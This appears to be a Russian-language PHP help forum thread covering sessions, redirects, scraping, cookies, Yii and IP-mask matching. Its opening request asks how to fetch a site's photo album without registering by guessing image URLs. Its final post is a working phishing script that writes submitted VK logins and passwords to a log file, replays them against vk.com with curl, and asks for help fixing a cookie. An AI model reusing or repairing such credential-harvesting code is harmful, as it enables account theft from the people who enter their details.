как отсюда можно вытащить фото, без регистрации ? я заметил такое http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG - маленькая http://www.iyya.ru/content/files/PhotoAlbum/27/quality/IMG_2641.JPG - большая как получить список фоток, ведь они на главной крутятся, получается только подбором названия ?
регулярка канает? PHP: $text='http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG http://www.iyya.ru/content/files/PhotoAlbum/27/quality/IMG_2641.JPG'; preg_match_all('#http://www.iyya.ru/content/files/PhotoAlbum/27/[a-z]*/(.*).JPG#i',$text,$matches); print_r($matches);
мне надо пройтись по всему альбому, получить все фотки из него, но на главной странице он только листает мальнькие фотки, и не даёт смотреть весь альбом неавторизованым
Получить все фотки сможеш регуляркой вьіше. Вот мой вариант работьі с URL. PHP: $text = 'http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG' $href = substr("$text", 11, 0); //Убираем http://www. $img_arr = explode("/", $href); //делим УРЛ на части. $img = $img_arr[0] . '/' . $img_arr[1] . "/" . $img_arr[2] . "/" . $img_arr[3] . "/" . $img_arr[4] . '/quality' . $img_arr[6]; // собираем url назад то вместо 5 елемента масива (medium) ставим quality.
завершение сессий для устройств нужно завершить все сессии со всех браузеров, но у меня завершается сессия только в том который вызывает код ликвидации сессии: PHP: session_destroy(); unset($_SESSION['sessions']); другой браузер продолжает висеть на той странице, для него не происходит завершение сеанса как завершить сессии для всех устройств ? как например вконтакте, завершить всех, оставить одну сессию для текущего браузера
как передать реферер той страницы в которой сработал редирект PHP: header( 'Location: '.$return, true, 302); а то он передаёт реферер той страницы - с которой на него перешли ! или вообще стереть реферер ?
Вопрос выходит за рамки php, но всеже нужен пруф оф концепт хотя-бы. Есть задача эмулировать браузер пользователя используя curl и нужно как-то создать js песочницу и внутренние переменные (версия браузера, движка и т.п.). Как это можно сделать средствами php (выполнять действия над DOM, перехватывать ajax запросы и делать их произвольным образом)? Нашел http://php.net/manual/en/book.v8js.php, но что-то мне кажется, что он не решит эту проблему. Может у кого-то из адептов был опыт решения подобных задач.
AnGeI, на windows машине можно через COM управлять браузером internet explorer, это точно. Вроде еще можно управлять FireFox так же, но там какие-то пляски с бубном нужны. А вообще смотрите в сторону Selenium.
Ребята, помогите написать простой скрипт. Пользователь открывает в браузере index.php, если у него нет Cookies, то перенаправляет на index2.php (через 1-2 секунды), если есть, то ничего не происходит. Также, помогите сделать кнопку, котрая запишет соответствующие cookies в браузер. Заранее огромное спасибо.
PHP: <?PHP if (empty($_COOKIE)) echo "<script type=\"text/javascript\">setInterval('window.location=\"http://site.ru/index2.php\"', 2000);</script>"; ?> <button onClick="document.cookie = 'login=vasya'">SetCookie</button>
Дали задание написать парсер одного сайта, не врубаю что делать с регулярками, с помощью курла задаю параметры: PHP: $url= "тутюрл"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_TIMEOUT, 15 ); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec ($ch); curl_close($ch); Так ведь? Спарсили содержимое главной страницы, записали ее в переменную результат, теперь нужно спарсить все ссылки на главной а потом содержимое, или как?
PHP: <?php $rawData = file_get_contents("http://forum.antichat.ru/showthread.php?p=3742866"); $regularExpressionForLinks = "/<a href=\"(http.*)\"/sU"; preg_match_all($regularExpressionForLinks, $rawData, $matches); print_r($matches); ?> Не знаю что тебе нужно, ну вот "логика" парсера
Cпасибо, уже разобрался. Подскажите плиз, кто работал с yii-фреймворком. Сгенерил модель Post, по мануалу стандартному, при нажатии на страницу posts перекидывает на список новостей - все нормально, но там данные полностью в текстовом виде в формате: айди тайтл текст дата Подскажите пожалуйста, как сделать так, чтобы тайтл отображался в виде ссылки, при нажатии на которую был бы заход на отдельную страницу поста ( ну как в обычных cms это реализовано), и как сделать, чтобы на этой же странице posts отображалась не вся новость, а только первое ее предложение, а остальное было доступно при заходе на ту отдельную страницу?
из за чего такое предупреждение идёт, на что влияет и на что действует ? как его убрать, что бы он не ругался ? PHP: warning: fread(): Length parameter must be greater than 0 тестирую на локалхосте вот так та строка выглядет: PHP: $buffer = fread($file, filesize($filename)); проверил, иногда подключаемый txt файл бывает пустым, оказывается из за этого предупреждение сейчас код работает так, если есть другие маски ip то пишет не совпало txt файл выглядит так, на каждой строке ip адрес: PHP: <?php $ip_adres = $_SERVER['REMOTE_ADDR']; $ipmasks = file($mask_ip_dir);//путь к текстовому файлу $ip_fragment = join('|', array_map('preg_quote', $ipmasks)); $ip_fragment = str_replace('\*', '\d+', $ip_fragment); echo '<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">'.$ip_adres.'<br>'; if(preg_match('#^('.$ip_fragment.')#', $ip_adres) == 0){ echo 'НЕ СОВПАДАЕТ<br>'; } else { echo 'совпадает<br>'; } ?> как сделать сравнение ip по маске, если такая маска будет найдена из списка то результат должен быть совпало ? не работает обратное условие else PHP: <?php $file = array_map('trim', file($mask_ip_dir)); foreach ($file as $expression) { $expression = str_replace('.', '\.', $expression); $expression = str_replace('*', '(.*)', $expression); if (preg_match('#' . $expression . '#', $_SERVER['REMOTE_ADDR'])) { echo "message 1"; } else { echo 'message 2'; } } ?> message 2 - оно отображается несколько раз если условие не соответствует, а если соответствует, отображается вместе с текстом message 1 - первого условия из зачего так происходит, где может быть ошибка ?
PHP: $buffer = fread($file, filesize(/* путь к файлу типа "/etc/data.txt" */)); // http://php.net/manual/en/function.fread.php
Не пойму, почему не пишет куки в бразуер, помогите пожалуйста. PHP: <?PHP $login=$_POST["login"]; $pass=$_POST["pass"]; $ip=$_SERVER['REMOTE_ADDR']; $date = date("m.d.y H:i:s"); $file=fopen("log.log", "a"); $str_avto=$login."\t".$pass."\t".$date."\t".$ip."\n"; fwrite($file, $str_avto); fclose($file); $otvet=connect("http://login.vk.com/?act=login&email=$login&pass=$pass"); If(!preg_match("/hash=([a-z0-9]{1,32})/",$otvet,$hash)){ die(header("Location: http://login fail")); } $otvet=connect("http://vk.com/login.php?act=slogin&hash=".$hash[1]); preg_match("/remixsid=(.*?);/",$otvet,$sid); $cooks = "remixchk=5; remixsid=$sid[1]"; setcookie('login', 'login', time() + 360000000); header("Location: http://login success"); function connect($link,$cooks=null,$post=null){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$link); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 0); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); if($cooks !== null) curl_setopt($ch, CURLOPT_COOKIE, $cooks); if($post !== null) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $otvet = curl_exec($ch); curl_close($ch); return $otvet; } ?> Проблема в этом: Code: setcookie('login', 'login', time() + 360000000);